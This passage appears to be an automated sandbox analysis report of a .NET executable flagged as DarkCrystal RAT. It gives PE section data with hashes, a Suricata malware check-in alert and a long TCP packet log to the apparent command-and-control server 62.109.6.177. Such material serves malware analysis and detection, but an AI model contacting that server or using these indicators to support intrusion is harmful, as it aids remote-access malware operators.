IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x388000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x383b34	0x383c00	5506c08dfb521813e1f371d01e4c0d1e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x386000	0x370	0x400	f5b4b040117b4857518a5167ac8e6846	False	0.376953125	data	2.8641840753628585	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x388000	0xc	0x200	54d564cc495dbc4d6e094738af51d4a0	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x386058	0x318	data			0.44823232323232326

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-04T13:37:09.515291+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49730	62.109.6.177	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 13:37:08.758008003 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:08.762970924 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:08.763056993 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:08.763788939 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:08.768640041 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:09.110025883 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:09.114867926 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:09.467031002 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:09.515290976 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:09.569096088 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:09.569107056 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:09.569242001 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:09.611646891 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:09.616471052 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:09.714030981 CET	49731	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:09.718888044 CET	80	49731	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:09.720464945 CET	49731	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:09.726388931 CET	49731	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:09.731208086 CET	80	49731	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:09.829396009 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:09.831041098 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:09.835818052 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.058007002 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.077857971 CET	49731	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.082937956 CET	80	49731	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.082950115 CET	80	49731	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.082957983 CET	80	49731	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.109045982 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.162173986 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.167017937 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.379873037 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.380028009 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.384831905 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.384979963 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.418581963 CET	80	49731	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.562309027 CET	80	49731	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.562362909 CET	49731	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.770854950 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.812165976 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.864372015 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.867368937 CET	49732	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.870174885 CET	80	49730	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.870237112 CET	49730	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.870395899 CET	49731	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.872471094 CET	80	49732	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.872534990 CET	49732	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.872652054 CET	49732	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.875329971 CET	80	49731	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:10.875396967 CET	49731	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:10.877444029 CET	80	49732	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:11.218504906 CET	49732	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:11.223517895 CET	80	49732	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:11.223531961 CET	80	49732	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:11.223541975 CET	80	49732	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:11.563447952 CET	80	49732	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:11.609042883 CET	49732	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:11.692519903 CET	80	49732	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:11.749682903 CET	49732	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:11.924518108 CET	49735	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:11.929429054 CET	80	49735	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:11.929536104 CET	49735	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:11.929635048 CET	49735	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:11.934406042 CET	80	49735	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:12.281002998 CET	49735	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:12.285959959 CET	80	49735	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:12.285974979 CET	80	49735	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:12.285984039 CET	80	49735	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:12.638113976 CET	80	49735	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:12.749665976 CET	49735	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:12.775599957 CET	80	49735	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:12.937166929 CET	49735	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:13.681399107 CET	49732	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:14.606017113 CET	49737	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:14.606081009 CET	49735	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:14.611040115 CET	80	49737	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:14.611113071 CET	49737	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:14.611171007 CET	80	49735	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:14.611219883 CET	49735	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:14.713063002 CET	49737	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:14.719322920 CET	80	49737	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:15.062258959 CET	49737	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:15.067198038 CET	80	49737	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:15.067210913 CET	80	49737	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:15.067222118 CET	80	49737	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:15.293997049 CET	80	49737	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:15.468416929 CET	49737	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:15.492026091 CET	80	49737	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:15.640306950 CET	49737	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:15.782351971 CET	49738	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:15.782953978 CET	49737	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:15.787204981 CET	80	49738	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:15.787287951 CET	49738	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:15.787401915 CET	49738	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:15.787905931 CET	80	49737	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:15.787960052 CET	49737	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:15.792131901 CET	80	49738	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:15.875020981 CET	49739	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:15.879964113 CET	80	49739	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:15.880043983 CET	49739	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:15.880155087 CET	49739	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:15.884891987 CET	80	49739	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:16.140374899 CET	49738	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:16.145215988 CET	80	49738	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:16.145322084 CET	80	49738	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:16.234127045 CET	49739	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:16.239038944 CET	80	49739	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:16.239049911 CET	80	49739	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:16.239058971 CET	80	49739	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:16.525959015 CET	80	49738	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:16.611654997 CET	80	49739	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:16.656295061 CET	80	49738	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:16.656366110 CET	49738	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:16.740442991 CET	80	49739	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:16.740530014 CET	49739	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:20.090986967 CET	49739	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:20.091573000 CET	49738	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:20.095993042 CET	80	49739	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:20.096059084 CET	49739	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:20.096549034 CET	80	49738	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:20.096708059 CET	49738	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:20.096781969 CET	49741	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:20.101566076 CET	80	49741	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:20.101970911 CET	49741	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:20.102099895 CET	49741	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:20.106914997 CET	80	49741	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:20.452994108 CET	49741	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:20.457936049 CET	80	49741	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:20.457948923 CET	80	49741	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:20.457957983 CET	80	49741	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:20.816529036 CET	80	49741	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:20.946683884 CET	80	49741	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:20.946768045 CET	49741	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.081166029 CET	49741	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.081595898 CET	49744	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.086158991 CET	80	49741	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:21.086215973 CET	49741	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.086345911 CET	80	49744	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:21.086397886 CET	49744	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.086519957 CET	49744	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.091244936 CET	80	49744	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:21.438184977 CET	49744	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.443104029 CET	80	49744	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:21.443116903 CET	80	49744	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:21.443125963 CET	80	49744	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:21.672312975 CET	49747	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.677073002 CET	80	49747	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:21.677148104 CET	49747	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.677297115 CET	49747	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.677352905 CET	49744	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.682039022 CET	80	49747	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:21.682401896 CET	80	49744	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:21.682457924 CET	49744	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.833143950 CET	49748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.837990999 CET	80	49748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:21.838078022 CET	49748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.838202953 CET	49748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:21.843030930 CET	80	49748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.031219959 CET	49747	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.036149025 CET	80	49747	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.036256075 CET	80	49747	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.187392950 CET	49748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.192368984 CET	80	49748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.192388058 CET	80	49748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.192395926 CET	80	49748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.377760887 CET	80	49747	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.437190056 CET	49747	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.511010885 CET	80	49747	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.556657076 CET	80	49748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.608500004 CET	49748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.692365885 CET	80	49748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.727852106 CET	80	49747	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.729100943 CET	49747	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.835395098 CET	49748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.861803055 CET	49747	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.861901045 CET	49748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.862325907 CET	49751	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.866749048 CET	80	49747	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.866808891 CET	49747	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.867032051 CET	80	49748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.867084026 CET	49748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.867089987 CET	80	49751	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:22.867161989 CET	49751	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.867299080 CET	49751	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:22.872045994 CET	80	49751	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:23.218584061 CET	49751	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:23.223458052 CET	80	49751	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:23.223489046 CET	80	49751	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:23.223501921 CET	80	49751	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:23.565869093 CET	80	49751	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:23.656023979 CET	49751	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:23.700498104 CET	80	49751	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:23.701335907 CET	49751	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:23.706367970 CET	80	49751	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:23.706605911 CET	49751	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:23.845267057 CET	49753	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:23.850059986 CET	80	49753	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:23.850181103 CET	49753	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:23.850312948 CET	49753	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:23.855110884 CET	80	49753	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.203022957 CET	49753	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.207854033 CET	80	49753	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.207861900 CET	80	49753	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.207874060 CET	80	49753	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.543201923 CET	80	49753	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.628719091 CET	49753	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.628915071 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.633702040 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.633745909 CET	80	49753	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.633810997 CET	49753	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.633841038 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.634073019 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.638851881 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.781369925 CET	49755	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.786195040 CET	80	49755	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.786266088 CET	49755	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.786371946 CET	49755	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.791132927 CET	80	49755	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.984201908 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.989159107 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.989207983 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.989352942 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.989362955 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.989370108 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.989377975 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.989393950 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.989402056 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.989409924 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.989411116 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.989418030 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.989423990 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.989438057 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.989466906 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.993966103 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.994029999 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.994035006 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.994071960 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.994204044 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.994213104 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.994257927 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:24.994261980 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.994270086 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:24.994307995 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.039917946 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.040014982 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.091959953 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.092019081 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.113962889 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.114065886 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.118916988 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.118926048 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.118938923 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.118947029 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.118963003 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.118972063 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.118974924 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.118992090 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.119016886 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.119028091 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119035959 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119044065 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119050980 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119071007 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.119081974 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.119112968 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.119123936 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119131088 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119134903 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119142056 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119148970 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119159937 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.119184017 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.119201899 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119209051 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119251013 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119259119 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119273901 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119297028 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119380951 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119389057 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119399071 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119570017 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119579077 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119585991 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.119594097 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.123709917 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.123797894 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.123846054 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.123883963 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.123920918 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.123934984 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.123986959 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.124027967 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.124062061 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.124099970 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.124152899 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.124161005 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.124188900 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.124218941 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.140392065 CET	49755	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.145216942 CET	80	49755	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.145226002 CET	80	49755	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.145236015 CET	80	49755	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.320424080 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.374735117 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.510478020 CET	80	49755	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.562181950 CET	49755	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.643464088 CET	80	49755	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.687172890 CET	49755	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.697128057 CET	80	49754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:37:25.749680042 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.761991024 CET	49754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.762048006 CET	49755	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.762345076 CET	49756	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:37:25.767020941 CET	80	49754	62.109.6.177	192.168.2.4
